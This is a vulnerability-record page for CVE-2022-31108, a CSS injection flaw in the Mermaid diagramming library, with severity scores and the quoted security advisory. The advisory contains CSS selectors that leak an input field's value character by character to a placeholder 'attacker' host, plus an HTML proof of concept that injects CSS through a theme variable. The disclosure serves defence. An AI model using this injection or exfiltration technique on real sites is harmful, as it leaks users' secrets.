CVE-2022-31108

mediumpriority · track · 24EPSS 0.009 · 60 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.91% (60th) EPSS
CVSS 5.8 · medium
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-27

Mermaid is a JavaScript based diagramming and charting tool that uses Markdown-inspired text definitions and a renderer to create and modify complex diagrams. An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character. This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc. This issue has been resolved in version 9.1.3. Users are advised to upgrade. Users unable to upgrade should ensure that user input is adequately escaped before embedding it in CSS blocks.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.1
010

base score 0–10 · higher = more severe · hover a vector to decode

v2.05.8mediumAV:N/AC:M/Au:N/C:P/I:P/A:Nprimary · NVD / NIST USexploitability 8.6 · impact 4.9
v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nprimary · NVD / NIST USexploitability 2.8 · impact 2.7
v3.14.1mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:Nsecondary · ENISA EU
v3.14.1mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:Nsecondary · security-advisories@github.comexploitability 2.3 · impact 1.4
v3.14.1mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:Nsecondary · OSV
v3.15.6mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-x3vm-38hw-55wfPossible inject arbitrary `CSS` into the generated graph affecting the container HTML2022-07-05ghsa · osvUS

    An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character. ```css input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); } ... input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); } ... input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); } ``` ### Patches _Has the problem been patched? What versions should users upgrade to?_ ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ ### References _Are there any links users can visit to find out more?_ ### For more information If you have any questions or comments about this advisory: * Open an issue in [example link to repo](http://example.com) * Email us at [example email address](mailto:example@example.com) ## Product mermaid.js ## Tested Version [v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1) ## Details ### Issue 1: Multiple CSS Injection (`GHSL-2022-036`) By supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection. _Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_ ```js const getStyles = (type, userStyles, options) => { return ` { font-family: ${options.fontFamily}; font-size: ${options.fontSize}; fill: ${options.textColor} } ``` For example, if we set `textColor` to `"green;} #target { background-color: crimson }"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element. ```html <html> <body> <div id="target"> <h1>This element does not belong to the SVG but we can style it</h1> </div> <svg id="diagram"> </svg> <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script> <script> mermaid.initialize({ startOnLoad: false }); const graph = ` %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%% graph TD A[Goose] ` const diagram = document.getElementById("diagram") const svg = mermaid.render('diagram-svg', graph) diagram.innerHTML = svg </script> </body> </html> ``` In the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points: - https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393 - https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35 #### Impact This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc. #### Remediation Ensure that user input is adequately escaped before embedding it in CSS blocks.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2022-06-28modified 2026-06-17
09

references (7)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan